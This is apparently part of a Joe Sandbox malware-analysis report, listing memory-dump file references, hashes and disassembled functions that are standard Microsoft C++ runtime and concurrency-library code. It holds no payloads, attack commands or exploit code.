Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 371a9a7e405d32a4c8950cd150f0dafd46398fa7a060494df363f701d99617ee
Instruction ID: 9cef2d8156e0a9ac199d88da0cc8a96e5fcf844ba1e34eff12b8c4c90144d6b0
Opcode Fuzzy Hash: 371a9a7e405d32a4c8950cd150f0dafd46398fa7a060494df363f701d99617ee
Instruction Fuzzy Hash: 8481D2B1A00656DBEB18DF68D8905BDB7F1BB48310F24802DD849E7263D77C6D86CB94

Function 007369DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00736A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00736A51
List.LIBCONCRT ref: 00736A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00736A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00736AB9
List.LIBCONCRT ref: 00736AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00736B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00736B20
List.LIBCONCRT ref: 00736B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00736B68

Part of subcall function 00735EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00735EF7
Part of subcall function 00735EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00735F09

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 81fde6d391f01ca153d0746214f44225db1f4b366ad15fafbcb239e276197168
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 35513171A00219EFEB08DF54C599BEDB7B8BF08344F158069E955AB242DB38EE45CF90

Function 007452A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 007453A0
type_info::operator==.LIBVCRUNTIME ref: 007453C7
___TypeMatch.LIBVCRUNTIME ref: 007454D3
IsInExceptionSpec.LIBVCRUNTIME ref: 007455AE
CallUnexpected.LIBVCRUNTIME ref: 00745650

Strings

csm, xrefs: 007453FE
csm, xrefs: 007452E0
csm, xrefs: 0074534D

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 9272ba8be7bd514d293e21a1d624584722e9de2d7f941c7d419014252d41297d
Instruction ID: 30ca423b7f11c0c0a6e8775b7da2d12d902c7ab663288bee2d41a6d15b3c6e38
Opcode Fuzzy Hash: 9272ba8be7bd514d293e21a1d624584722e9de2d7f941c7d419014252d41297d
Instruction Fuzzy Hash: F5C1A971900609EFCF25DFA8D884AAEBBB6FF14315F05415AF8056B203D379DA61CBA1

Function 00744840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00744877
___except_validate_context_record.LIBVCRUNTIME ref: 0074487F
_ValidateLocalCookies.LIBCMT ref: 00744908
__IsNonwritableInCurrentImage.LIBCMT ref: 00744933
_ValidateLocalCookies.LIBCMT ref: 00744988

Strings

S9t, xrefs: 00744925, 0074492E, 0074493F
csm, xrefs: 0074491D

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9t$csm
API String ID: 1170836740-2914943935
Opcode ID: 6b220f20edbd5cda7c255168a4637f1085b780527f05891421c215022e11f513
Instruction ID: 104225d73b8165593fd5cd00eadb919887f1a22f4b19b4065a23a52e345b639e
Opcode Fuzzy Hash: 6b220f20edbd5cda7c255168a4637f1085b780527f05891421c215022e11f513
Instruction Fuzzy Hash: E141D634A00208EFCF10DF68C889B9E7BB4BF45314F148155E8199B353D779AE15EB91

Function 00737364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007373B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 007373F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0073740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00737419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00737440

Strings

count, xrefs: 0073737E
ppVirtualProcessorRoots, xrefs: 00737438

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 0101162e46b9b17a155f9d796e3264a4e160b0482a17025377ba53988d8c484c
Instruction ID: f708000a891e7eb1222c03d2893d7450addf1b3a76411e534e7dbaf722c65884
Opcode Fuzzy Hash: 0101162e46b9b17a155f9d796e3264a4e160b0482a17025377ba53988d8c484c
Instruction Fuzzy Hash: 53217174A00349EFDB24EF54D499AADBBB5FF09350F144069E806A7352DB38AE00CF90

Function 0072EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0072EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0072EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0072EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0072EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0072EF31

Strings

ir, xrefs: 0072EED0

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
